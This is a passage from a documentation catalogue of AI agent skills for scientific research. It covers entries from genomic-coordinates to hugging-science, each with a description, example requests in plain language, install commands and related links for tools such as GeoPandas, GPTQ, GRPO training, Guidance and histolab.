prefix", "wrong genome build", "liftover", "REF mismatch", and "HGVS". ## Example requests Ask your agent in plain language, for example: * *"My peak caller output BED looks one base off when I load it next to my GTF annotations in IGV. What's going on?"* * *"I'm merging ClinVar (GRCh38 VCF) with my cohort's VCF, but a bunch of known pathogenic indels in my samples (e.g. BRCA1 deletions in repeat regions) show up as novel. I'm doing a plain join on CHROM/POS/REF/ALT in pandas. bcftools says 'REF does not match the reference' for a few records too. How do I fix this?"* * *"I have a transcript-level HGVS c.742C>T for a TP53 variant from a clinical report and need the genomic position so I can look it up in my aligned data. Which transcript, which strand, and how do I get to the genomic coordinate safely?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill genomic-coordinates # GitHub CLI gh skill install KalarisLabs/research-agent-skills genomic-coordinates ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `scientific-databases` category with `/plugin install scientific-databases@research-agent-skills`. ## Related * [`alphagenome`](/research-agent-skills/skills/alphagenome) * [`folklore-variant-evidence`](/research-agent-skills/skills/folklore-variant-evidence) * [`geniml`](/research-agent-skills/skills/geniml) * [`polars-bio`](/research-agent-skills/skills/polars-bio) * [`gtars`](/research-agent-skills/skills/gtars) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/genomic-coordinates/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # genomic-intelligence — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/genomic-intelligence Predict regulatory features, gene structure, and expression directly from DNA sequence using Genomic Intelligence's hosted transformer DNA language models —… # `genomic-intelligence` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** MIT · **Version:** 1.2 **Tags:** DNA language models, regulatory genomics, gene structure, sequence analysis ## When to use it Predict regulatory features, gene structure, and expression directly from DNA sequence using Genomic Intelligence's hosted transformer DNA language models — no local GPU or model weights. Six tasks over a REST API and a hosted MCP server (keyless public demo): promoter regions, splice donor/acceptor sites, enhancer activity, chromatin state, sequence-to-expression (log TPM), and de-novo gene annotation, plus a composite find-genes-then-predict-expression workflow. Use when the user has a gene symbol, a genomic region, or a DNA/FASTA sequence and wants any of these predictions, mentions Genomic Intelligence, genomicintelligence.ai, api.genomicintelligence.ai, or mcp.genomicintelligence.ai. ## Example requests Ask your agent in plain language, for example: * *"Find the promoters in the first 20 kb upstream of human MYC using a DNA language model API."* * *"I have locus.fa, a 60 kb FASTA of a human locus (line-wrapped, with a '>' header). I want expression predicted for the gene at the center in K562 cells, and I only have the public demo, no API key. I tried POSTing to /v1/tasks/expression/predict and got a 422."* * *"I just got a new Drosophila genomic region of about 80 kb with no annotation. I'd like to know which genes are in it, and then get an expression estimate for each one. I don't want to download any model weights or use my GPU."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill genomic-intelligence # GitHub CLI gh skill install KalarisLabs/research-agent-skills genomic-intelligence ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [`alphagenome`](/research-agent-skills/skills/alphagenome) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/genomic-intelligence/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # geomaster — AI agent skill for physical sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/geomaster Provides geospatial and Earth observation workflows using GeoPandas, Rasterio, GDAL, Xarray, Shapely, Laspy, PDAL, Google Earth Engine, and STAC/Planetary… # `geomaster` **Category:** [physical-sciences](/research-agent-skills/skills#physical-sciences) · **License:** MIT · **Version:** 1.3 **Tags:** geospatial, remote sensing, Earth observation, satellite imagery, GIS ## When to use it Provides geospatial and Earth observation workflows using GeoPandas, Rasterio, GDAL, Xarray, Shapely, Laspy, PDAL, Google Earth Engine, and STAC/Planetary Computer, covering Sentinel, Landsat, MODIS, SAR and hyperspectral imagery, spectral indices, terrain and network analysis, point clouds, COGs, CRS handling, and spatial ML, with code in Python, R, Julia, JavaScript, C++, Java, Go, and Rust. Use when computing NDVI or other indices from satellite imagery, when running vector overlays, reprojection, or spatial statistics on shapefiles, GeoJSON, or GeoPackage data, when searching STAC catalogs and reading cloud-optimized GeoTIFFs, when classifying land cover or training ML models on Earth observation data, or when doing terrain, hydrology, or point cloud analysis. Not for general non-spatial data analysis or tabular ML. ## Example requests Ask your agent in plain language, for example: * *"How do I compute NDVI from a Sentinel-2 scene?"* * *"I have parcels.shp in EPSG:3857 and flood\_zones.geojson in EPSG:4326. I need the area of each parcel in hectares that overlaps a flood zone, but my overlay gives a 'CRS mismatch' warning and some areas look way too large. What should I do?"* * *"I want to map how much forest cover my study watershed lost between 2015 and 2023 using free satellite data, and I'd like to train a classifier to do it. Where do I start?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill geomaster # GitHub CLI gh skill install KalarisLabs/research-agent-skills geomaster ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `physical-sciences` category with `/plugin install physical-sciences@research-agent-skills`. ## Related * [Skills for physics and astronomy](/research-agent-skills/fields/physics) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/geomaster/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # geopandas — AI agent skill for physical sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/geopandas Guidance and local audit CLIs for Python workflows using GeoPandas 1.1.4 GeoSeries and GeoDataFrame for planar vector data: CRS handling, geometry validity… # `geopandas` **Category:** [physical-sciences](/research-agent-skills/skills#physical-sciences) · **License:** MIT · **Version:** 1.2 · **Includes scripts** **Tags:** geospatial, GIS, vector data, spatial analysis, Python ## When to use it Guidance and local audit CLIs for Python workflows using GeoPandas 1.1.4 GeoSeries and GeoDataFrame for planar vector data: CRS handling, geometry validity and repair, sjoin, overlay, clip, dissolve, union, GeoPackage, GeoParquet and PostGIS I/O, and plotting. Use when reprojecting or assigning a CRS, auditing invalid or empty geometries, running spatial joins and checking cardinality, exporting vector data with a reproducible contract, or migrating code from GeoPandas 0.14 to 1.x. Use when checking privacy risks in coordinate data. Do not use for raster data or geodesic-only calculations. ## Example requests Ask your agent in plain language, for example: * *"my shapefile has no .prj and I think it's in UTM somewhere, how do I get it into lat/lon for a web map?"* * *"I'm running gpd.sjoin(parcels, flood\_zones, how='left', predicate='within') on parcels.gpkg and flood\_zones.gpkg in EPSG:4326. I get 2.3M rows from 1.8M parcels, and I'm also getting a warning about CRS mismatch. What's wrong, and how do I check it?"* * *"I have GPS collar tracks for an endangered species and want to put the cleaned locations in a supplementary dataset for my paper. What should I check before I publish?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill geopandas # GitHub CLI gh skill install KalarisLabs/research-agent-skills geopandas ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `physical-sciences` category with `/plugin install physical-sciences@research-agent-skills`. ## Related * [Skills for physics and astronomy](/research-agent-skills/fields/physics) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/geopandas/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # get-available-resources — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/get-available-resources Detect host inventory and effective CPU, memory, disk, scheduler, container, and accelerator limits when a user asks for resource-aware planning or before a… # `get-available-resources` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** MIT · **Version:** 1.3 · **Includes scripts** **Tags:** compute resources, GPU detection, resource planning, HPC ## When to use it Detect host inventory and effective CPU, memory, disk, scheduler, container, and accelerator limits when a user asks for resource-aware planning or before a clearly resource-sensitive local workload. Produces a redacted JSON snapshot and conservative planning helpers without stress tests or assuming visible host hardware is usable. ## Example requests Ask your agent in plain language, for example: * *"How many CPUs and how much RAM can I actually use here?"* * *"I'm about to launch a joblib parallel run of 400 scRNA-seq pseudobulk DE fits from de\_fits.py inside our Slurm cluster. Last time it died with 'Killed' (OOM) on a node that showed 128 cores in htop. Can you work out how many workers I can safely use, keeping about 8 GiB aside for the OS and main process?"* * *"I want to fine-tune a protein language model on this workstation. Before I pick a batch size and decide whether to try GPU training, can you tell me what hardware the process can really reach, including any accelerators and free disk for checkpoints?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill get-available-resources # GitHub CLI gh skill install KalarisLabs/research-agent-skills get-available-resources ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/get-available-resources/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # gget — AI agent skill for scientific databases Source: https://docs.kalarislabs.com/research-agent-skills/skills/gget Queries 20+ bioinformatics databases and analysis services through the gget CLI and Python package, covering Ensembl gene search, info and sequences (ref… # `gget` **Category:** [scientific-databases](/research-agent-skills/skills#scientific-databases) · **License:** BSD-2-Clause license · **Version:** 1.5 · **Includes scripts** **Tags:** bioinformatics databases, Ensembl, BLAST, AlphaFold, gene lookup ## When to use it Queries 20+ bioinformatics databases and analysis services through the gget CLI and Python package, covering Ensembl gene search, info and sequences (ref, search, info, seq), BLAST, BLAT, MUSCLE, DIAMOND, PDB, AlphaFold, ELM, ARCHS4, CELLxGENE, Enrichr, Bgee, OpenTargets, cBioPortal, COSMIC, viral sequence downloads (virus), and 8cube mouse specificity and expression data. Use when looking up gene or transcript details, running a quick BLAST/BLAT search, fetching AlphaFold or PDB structures, running enrichment analysis on a gene list, downloading viral sequences with filters, or exploring disease and drug associations interactively. Not for batch processing or fine-grained BLAST control (use biopython) or multi-database Python pipelines (use bioservices). ## Example requests Ask your agent in plain language, for example: * *"quick blast of this protein sequence against nr: MKTAYIAKQRQISFVKSHFSRQLEERLGLIEVQ"* * *"I have a list of 150 differentially expressed genes from my mouse liver RNA-seq in de\_genes.txt (gene symbols). I'm on a cluster node with pip. Can you run GO biological process and KEGG enrichment on them directly from the terminal and save a CSV? I'd also like to see the top 10 terms."* * *"I'm studying a possible drug target, EGFR. What diseases and drugs are linked to it, and is there a predicted or experimental 3D structure I could look at?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill gget # GitHub CLI gh skill install KalarisLabs/research-agent-skills gget ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `scientific-databases` category with `/plugin install scientific-databases@research-agent-skills`. ## Related * [`pathway-enrichment`](/research-agent-skills/skills/pathway-enrichment) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/gget/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # gguf-quantization — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/gguf-quantization GGUF format and llama.cpp quantization for efficient CPU/GPU inference. # `gguf-quantization` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** GGUF, Quantization, llama.cpp, CPU Inference, Apple Silicon, Model Compression, Optimization ## When to use it GGUF format and llama.cpp quantization for efficient CPU/GPU inference. Use when deploying models on consumer hardware, Apple Silicon, or when needing flexible quantization from 2-8 bit without GPU requirements. ## Example requests Ask your agent in plain language, for example: * *"How do I turn a HF model into a Q4\_K\_M GGUF file?"* * *"I have a fine-tuned Mistral-7B in ./checkpoints/mistral-ft (safetensors) and I want to run it on my M2 MacBook Air with 16GB RAM. I ran llama-quantize with Q2\_K and the outputs are garbage now. What should I do?"* * *"I want to run a language model locally on my old laptop that has no graphics card, using as little RAM as possible without the output becoming useless. I also want to expose it to my scripts through an OpenAI-style API. What's the best way to set this up?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill gguf-quantization # GitHub CLI gh skill install KalarisLabs/research-agent-skills gguf-quantization ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`awq-quantization`](/research-agent-skills/skills/awq-quantization) * [`hqq-quantization`](/research-agent-skills/skills/hqq-quantization) * [`llama-cpp`](/research-agent-skills/skills/llama-cpp) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/gguf-quantization/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # ginkgo-cloud-lab — AI agent skill for lab automation Source: https://docs.kalarislabs.com/research-agent-skills/skills/ginkgo-cloud-lab Submit and manage protocols on Ginkgo Bioworks Cloud Lab (cloud.ginkgo.bio), a web-based interface for autonomous lab execution on Reconfigurable Automation… # `ginkgo-cloud-lab` **Category:** [lab-automation](/research-agent-skills/skills#lab-automation) · **License:** MIT · **Version:** 2.1 **Tags:** cloud lab, lab automation, protein expression, synthetic biology ## When to use it Submit and manage protocols on Ginkgo Bioworks Cloud Lab (cloud.ginkgo.bio), a web-based interface for autonomous lab execution on Reconfigurable Automation Carts (RACs). Use when the user wants to run protein expression and purification (cell-free, E. coli, or Pichia), HiBiT or A280 or LabChip quantification, IVT mRNA/circRNA synthesis, thermal shift / developability assays, Echo-MS enzyme or analyte methods, SPR target onboarding, fluorescent pixel art, or otherwise interact with Ginkgo Cloud Lab services. Covers protocol selection, input preparation, pricing, and ordering workflows. ## Example requests Ask your agent in plain language, for example: * *"I have 48 de novo minibinder sequences and want to know which ones express in E. coli before I invest in SPR. What's the cheapest way to screen them on Ginkgo's cloud lab, and what would it cost?"* * *"Need Tm values for my 12 nanobody variants (sequences in nb\_variants.fasta). Can Ginkgo's cloud lab do thermal shift, and how do I submit?"* * *"I'm trying to make a circular RNA for a stability study and want qPCR confirmation of the product, outsourced to a robotic cloud lab if possible. The template DNA is ready. What are my options and how do I get a quote?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill ginkgo-cloud-lab # GitHub CLI gh skill install KalarisLabs/research-agent-skills ginkgo-cloud-lab ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `lab-automation` category with `/plugin install lab-automation@research-agent-skills`. ## Related * [`adaptyv`](/research-agent-skills/skills/adaptyv) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/ginkgo-cloud-lab/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # gptq — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/gptq Quantizes LLMs to 4-bit (also 3-bit) with GPTQ using group-wise quantization (group size 128 by default), via AutoGPTQ and transformers. # `gptq` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** Optimization, GPTQ, Quantization, 4-Bit, Post-Training, Memory Optimization, Consumer GPUs, Fast Inference, QLoRA, Group-Wise Quantization ## When to use it Quantizes LLMs to 4-bit (also 3-bit) with GPTQ using group-wise quantization (group size 128 by default), via AutoGPTQ and transformers. Covers loading pre-quantized GPTQ models, quantizing your own model, choosing group size, selecting ExLlamaV2, Marlin, or Triton kernels, and QLoRA fine-tuning with PEFT. Use when fitting 70B-class models onto limited or consumer GPUs, cutting memory about 4x versus FP16, speeding up inference, finding pre-quantized checkpoints on HuggingFace, or fine-tuning a quantized model with LoRA. For slightly better accuracy on newer GPUs use AWQ instead, and for simple 8-bit or on-the-fly quantization use bitsandbytes. ## Example requests Ask your agent in plain language, for example: * *"How do I get a 70B model running on a single 80GB A100 with GPTQ?"* * *"I have a fine-tuned Mistral-7B at ./mistral-7b-legal and want to quantize it to 4-bit with AutoGPTQ using 512 samples from wikitext2 as calibration data. I'm on an RTX 3090 and my first attempt crashed with CUDA out of memory during layer-wise quantization. What config should I use and how do I fix the OOM?"* * *"I want to fine-tune a 13B chat model on my lab's protein-function Q\&A dataset, but I only have one 24GB consumer card. The weights are already compressed to 4 bits by calibrating on a small dataset with Hessian-based error correction, from a TheBloke repo. Which kernel should I use for fast inference, and how do I attach adapters for training?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill gptq # GitHub CLI gh skill install KalarisLabs/research-agent-skills gptq ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`awq-quantization`](/research-agent-skills/skills/awq-quantization) * [`hqq-quantization`](/research-agent-skills/skills/hqq-quantization) * [`quantizing-models-bitsandbytes`](/research-agent-skills/skills/quantizing-models-bitsandbytes) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/gptq/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # grpo-rl-training — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/grpo-rl-training Guides GRPO (Group Relative Policy Optimization) fine-tuning of language models with the TRL library, including GRPOTrainer configuration, composing multiple… # `grpo-rl-training` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** Post-Training, Reinforcement Learning, GRPO, TRL, RLHF, Reward Modeling, Reasoning, DPO, PPO, Structured Output ## When to use it Guides GRPO (Group Relative Policy Optimization) fine-tuning of language models with the TRL library, including GRPOTrainer configuration, composing multiple reward functions (correctness, format, length, style), dataset prep in chat format, Unsloth setup, LoRA merging, and monitoring reward, reward\_std and KL. Use when training a model to follow a strict output format such as XML or JSON. Use when teaching verifiable tasks like math or code with objective correctness rewards. Use when improving chain-of-thought reasoning with custom reward functions. Use when debugging flat rewards, mode collapse, or OOM in GRPO runs. Do not use for plain supervised fine-tuning (use SFT) or when high-quality preference pairs exist (use DPO or PPO). ## Example requests Ask your agent in plain language, for example: * *"How do I set up GRPO in TRL so my model always answers in \...\\...\ tags?"* * *"I'm running GRPOTrainer on Qwen2.5-1.5B-Instruct with GSM8K (train.jsonl has 'question' and 'answer' columns) on a single 24GB card. With num\_generations=8 and max\_completion\_length=512 I get CUDA out of memory during generation. Also the reward curve in wandb has been flat at \~0.1 for 300 steps and reward\_std is near zero. What should I change?"* * *"I have a base LLM and a few thousand arithmetic and logic word problems with known final answers, but no human preference labels and no reward model. I want the model to learn to reason step by step and get the right answer. What training approach should I use and how would I wire it up?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill grpo-rl-training # GitHub CLI gh skill install KalarisLabs/research-agent-skills grpo-rl-training ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`fine-tuning-with-trl`](/research-agent-skills/skills/fine-tuning-with-trl) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/grpo-rl-training/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # gtars — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/gtars Inspects and plans work with Gtars, the Rust/Python/CLI toolkit for genomic intervals: BED RegionSet set algebra (reduce, setdiff, intersect, closest… # `gtars` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** MIT · **Version:** 1.3 · **Includes scripts** **Tags:** genomic intervals, BED files, peak sets, genomics, bioinformatics ## When to use it Inspects and plans work with Gtars, the Rust/Python/CLI toolkit for genomic intervals: BED RegionSet set algebra (reduce, setdiff, intersect, closest, cluster, gaps), overlap counts, consensus peak sets, coverage, tokenizers, fragment processing, and refget/BEDbase stores. Use when merging or comparing BED interval sets, building a consensus or universe from peaks, tokenizing regions for ML models, working with fragment files, or planning refget sequence-collection and BEDbase cache use. Use when checking BED coordinates, contigs, or strand before running gtars. Not for general BAM/VCF processing; use samtools or bedtools for that. ## Example requests Ask your agent in plain language, for example: * *"How do I get the union of two peak BED files into one non-overlapping set with gtars?"* * *"I have 24 ATAC-seq replicate peak files (hg38, narrowPeak trimmed to BED) in ./peaks/ from 8 donors. I want a consensus peak set to use as the universe for tokenizing cells for a scEmbed-style model, and then train/val/test splits. I tried `from gtars import RegionSet` and got an ImportError. Can you plan this out?"* * *"I have a few thousand enhancer regions and a set of GWAS hit windows. I want to know which enhancers sit nearest each hit, plus the stretches of genome not covered by either list. Some of my files use '1' and others use 'chr1' for contigs. What's the safest way to go about it?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill gtars # GitHub CLI gh skill install KalarisLabs/research-agent-skills gtars ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [`genomic-coordinates`](/research-agent-skills/skills/genomic-coordinates) * [`polars-bio`](/research-agent-skills/skills/polars-bio) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/gtars/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # guidance — AI agent skill for llm applications Source: https://docs.kalarislabs.com/research-agent-skills/skills/guidance Constrains LLM output during generation with Guidance (Microsoft Research), using regex, select() choices, context-free grammars, token healing, and @guidance… # `guidance` **Category:** [llm-applications](/research-agent-skills/skills#llm-applications) · **License:** MIT · **Version:** 1.0.0 · **Includes scripts** **Tags:** Prompt Engineering, Guidance, Constrained Generation, Structured Output, JSON Validation, Grammar, Microsoft Research, Format Enforcement, Multi-Step Workflows ## When to use it Constrains LLM output during generation with Guidance (Microsoft Research), using regex, select() choices, context-free grammars, token healing, and @guidance functions, with Anthropic, OpenAI, Transformers, and llama.cpp backends. Use when you need generated text to match a regex or fixed format such as dates, emails, or IDs. Use when you need guaranteed valid JSON, XML, or code from a model. Use when building multi-step generation workflows or ReAct-style agents with Python control flow. Use when classifying text into fixed categories with select(). Use when running local models and wanting grammar constraints. Not for Pydantic validation with automatic retries; use Instructor for that. ## Example requests Ask your agent in plain language, for example: * *"How do I force a local Llama model to only output a date like 2024-03-15? Regex-constrained decoding please."* * *"I'm labeling clinical trial abstracts in abstracts.csv into exactly four categories (RCT, cohort, case report, review) using a llama.cpp GGUF model on my workstation. Sometimes the model returns 'Randomized study' or adds explanations and my pandas parsing breaks. How can I make it only ever emit one of the four labels?"* * *"I want a model to produce SQL-like queries for my lab's sample database, and the output must always parse under a specific grammar, no syntax errors ever. I also want it to first think of the table to use, then fill in the query, in several steps with Python if-statements in between. How should I build this?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill guidance # GitHub CLI gh skill install KalarisLabs/research-agent-skills guidance ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `llm-applications` category with `/plugin install llm-applications@research-agent-skills`. ## Related * [Skills for AI research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/guidance/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # histolab — AI agent skill for clinical and health Source: https://docs.kalarislabs.com/research-agent-skills/skills/histolab Extracts tiles and preprocesses H&E whole slide images with the histolab Python library (OpenSlide), covering slide inspection, tissue masks (TissueMask… # `histolab` **Category:** [clinical-and-health](/research-agent-skills/skills#clinical-and-health) · **License:** Apache-2.0 license · **Version:** 1.3 **Tags:** digital pathology, whole slide images, H\&E, tile extraction, medical imaging ## When to use it Extracts tiles and preprocesses H\&E whole slide images with the histolab Python library (OpenSlide), covering slide inspection, tissue masks (TissueMask, BiggestTissueBoxMask), RandomTiler, GridTiler and ScoreTiler extraction, image and morphological filters, and Macenko or Reinhard stain normalization. Use when building a tile dataset from WSI files for deep learning. Use when detecting tissue and excluding background or pen annotations. Use when previewing tile locations and exporting tile CSV reports. Use when normalizing stain variation across slides. Not for spatial proteomics, multiplexed imaging, or deep learning pipelines; use pathml for those. ## Example requests Ask your agent in plain language, for example: * *"How do I pull 512x512 tiles out of an H\&E slide and skip the blank glass?"* * *"I have 40 TCGA-BRCA .svs files in ./slides/ and need a training set of 20x patches for a ResNet. Some slides have green pen marks around the tumor and tiles over those regions are polluting my set. I'm using RandomTiler with n\_tiles=200 and seed=42, but the pen regions still show up. Also I need a CSV with the tile coordinates. How should I set this up?"* * *"My slides come from three different labs and the eosin intensity varies a lot, which is hurting my classifier's generalization. How can I make the colors consistent before I train?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill histolab # GitHub CLI gh skill install KalarisLabs/research-agent-skills histolab ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `clinical-and-health` category with `/plugin install clinical-and-health@research-agent-skills`. ## Related * [`scientific-slides`](/research-agent-skills/skills/scientific-slides) * [`segment-anything-model`](/research-agent-skills/skills/segment-anything-model) * [Skills for medicine and clinical research](/research-agent-skills/fields/medicine) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/histolab/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # hqq-quantization — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/hqq-quantization Half-Quadratic Quantization for LLMs without calibration data. # `hqq-quantization` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** Quantization, HQQ, Optimization, Memory Efficiency, Inference, Model Compression ## When to use it Half-Quadratic Quantization for LLMs without calibration data. Use when quantizing models to 4/3/2-bit precision without needing calibration datasets, for fast quantization workflows, or when deploying with vLLM or HuggingFace Transformers. ## Example requests Ask your agent in plain language, for example: * *"How do I quantize Llama-3-8B to 4-bit when I don't have any calibration data?"* * *"I'm on an A100 and need to quantize mistralai/Mistral-7B-Instruct-v0.3 for a benchmark. I'm working in quantize.py with transformers 4.44 and hqq 0.2.x. I want attention layers at 4-bit and the MLP layers at 2-bit, then I want to save it and reload it for generation. I also need the fastest 4-bit backend. How should I configure this?"* * *"I want to compress a 70B model enough to fit on a single GPU, but I have no representative dataset and I can't spend hours on a long quantization run. I'd also like to fine-tune it with LoRA afterwards. What approach would work?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill hqq-quantization # GitHub CLI gh skill install KalarisLabs/research-agent-skills hqq-quantization ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`evaluating-llms-harness`](/research-agent-skills/skills/evaluating-llms-harness) * [`gguf-quantization`](/research-agent-skills/skills/gguf-quantization) * [`gptq`](/research-agent-skills/skills/gptq) * [`quantizing-models-bitsandbytes`](/research-agent-skills/skills/quantizing-models-bitsandbytes) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/hqq-quantization/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # hugging-science — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/hugging-science Use when the user is doing AI/ML work in a scientific domain such as biology, chemistry, physics, astronomy, climate, genomics, materials, medicine, ecology… # `hugging-science` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** MIT · **Version:** 1.3 · **Includes scripts** **Tags:** AI for science, scientific datasets, foundation models, Hugging Face, machine learning ## When to use it Use when the user is doing AI/ML work in a scientific domain such as biology, chemistry, physics, astronomy, climate, genomics, materials, medicine, ecology, energy, engineering, math, drug discovery, protein design, weather modeling, theorem proving, single-cell, or PDE solving. Hugging Science is a curated catalog of scientific datasets, models, blog posts, and interactive Spaces. This skill helps discover and use resources via `datasets`, `transformers`, the HF Inference API, `gradio_client`, and methodology citations. ## Example requests Ask your agent in plain language, for example: * *"Is there a good open dataset for single-cell RNA-seq of human immune cells on the HF Hub?"* * *"I'm fine-tuning ESM2 650M on my stability labels in stability.csv (about 12k sequences) and keep hitting CUDA OOM on a 16GB GPU with batch size 16. Is there a smaller ESM variant or 